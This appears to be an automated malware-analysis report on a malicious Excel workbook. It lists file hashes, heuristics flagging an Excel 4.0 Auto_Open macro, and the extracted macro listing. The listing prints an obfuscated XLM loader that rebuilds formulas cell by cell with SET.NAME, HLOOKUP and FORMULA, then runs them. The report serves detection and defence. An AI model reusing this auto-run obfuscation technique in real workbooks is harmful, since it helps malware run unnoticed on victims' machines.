Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f2d0f88879330a20…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:38:28 Authoring application: Microsoft Excel First seen: 2021-01-11
MD5: a97e051354b873ce01e72fa65cba0123 SHA-1: bcbfd33a70538a0e2a2d776f5f83cfb8c7b7be7c SHA-256: f2d0f88879330a2015f6cc42b17a3e6f44c73701ab0d983953746be039fefeb3
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6601 bytes
SHA-256: f44e84f5cd9bcc9897d59305743a7383c3a6b6aa43d6bcc955da9d4c59373494
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  fDdNjjo
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E166 
' 0018     23 LABEL : Cell Value, String Constant - BfpGdaUT len=0 
' 0018     22 LABEL : Cell Value, String Constant - dKwcGPa len=0 
' 0018     23 LABEL : Cell Value, String Constant - eTOLPoVr len=0 
' 0018     27 LABEL : Cell Value, String Constant - fYrZguwxtSSB len=0 
' 0018     22 LABEL : Cell Value, String Constant - hYxyCYq len=0 
' 0018     20 LABEL : Cell Value, String Constant - jGmbs len=0 
' 0018     25 LABEL : Cell Value, String Constant - JvjalWfRjh len=0 
' 0018     27 LABEL : Cell Value, String Constant - LAKaNzoHBeqI len=0 
' 0018     23 LABEL : Cell Value, String Constant - mDPxxXpV len=0 
' 0018     26 LABEL : Cell Value, String Constant - ocsXQcbfPge len=0 
' 0018     27 LABEL : Cell Value, String Constant - RvVTmrLbReKS len=0 
' 0018     26 LABEL : Cell Value, String Constant - rwTMsSmIZLx len=0 
' 0018     24 LABEL : Cell Value, String Constant - TUQejauLj len=0 
' 0018     25 LABEL : Cell Value, String Constant - txTXgySuIq len=0 
' 0018     23 LABEL : Cell Value, String Constant - uJdrKrVK len=0 
' 0018     23 LABEL : Cell Value, String Constant - uVAILQhV len=0 
' 0018     24 LABEL : Cell Value, String Constant - uWuRPViUB len=0 
' 0018     23 LABEL : Cell Value, String Constant - wDlYqiZe len=0 
' 0018     20 LABEL : Cell Value, String Constant - YdZSE len=0 
' 0018     27 LABEL : Cell Value, String Constant - YWxnuiQSrbYB len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  fDdNjjo,E68,"SET.NAME("JvjalWfRjh",VALUE("0"))",""
'  fDdNjjo,E73,"SET.NAME("uWuRPViUB",JvjalWfRjh)",""
'  fDdNjjo,E75,"SET.NAME("eTOLPoVr",JvjalWfRjh)",""
'  fDdNjjo,E80,"SET.NAME("txTXgySuIq",COUNTA(uJdrKrVK))",""
'  fDdNjjo,E85,"SET.NAME("ocsXQcbfPge",COUNTA(hYxyCYq))",""
'  fDdNjjo,E87,[],""
'  fDdNjjo,E92,"SET.NAME("YWxnuiQSrbYB","")",""
'  fDdNjjo,E97,"uWuRPViUB",""
'  fDdNjjo,E99,"SET.NAME("TUQejauLj",HLOOKUP("*",uJdrKrVK,uWuRPViUB,FALSE))",""
'  fDdNjjo,E104,"rwTMsSmIZLx",""
'  fDdNjjo,E108,"SET.NAME("fYrZguwxtSSB",JvjalWfRjh)",""
'  fDdNjjo,E113,[],""
'  fDdNjjo,E118,"fYrZguwxtSSB",""
'  fDdNjjo,E120,"uVAILQhV",""
'  fDdNjjo,E122,"mDPxxXpV",""
'  fDdNjjo,E124,"wDlYqiZe",""
'  fDdNjjo,E128,"SET.NAME("dKwcGPa",VALUE(HLOOKUP("*",hYxyCYq,wDlYqiZe,FALSE)))",""
'  fDdNjjo,E132,"BfpGdaUT",""
'  fDdNjjo,E136,"YWxnuiQSrbYB",""
'  fDdNjjo,E138,"eTOLPoVr",""
'  fDdNjjo,E140,NEXT(),""
'  fDdNjjo,E145,"YdZSE",""
'  fDdNjjo,E150,"SET.NAME("f",INT(T(FORMULA(T(YWxnuiQSrbYB)&"",""&T(YdZSE)))))",""
'  fDdNjjo,E153,"RvVTmrLbReKS",""
'  fDdNjjo,E157,NEXT(),""
'  fDdNjjo,E161,RETURN(),""
'  fDdNjjo,E196,"SET.NAME("LAKaNzoHBeqI",E68)",""
'  fDdNjjo,E198,"uJdrKrVK",""
'  fDdNjjo,E200,"SET.NAME("hYxyCYq",R94C15)",""
'  fDdNjjo,E205,"SET.NAME("RvVTmrLbReKS",213)",""
'  fDdNjjo,E210,"SET.NAME("jGmbs",5)",""
'  fDdNjjo,E212,LAKaNzoHBeqI(),""
'  fDdNjjo,E213,HALT(),""

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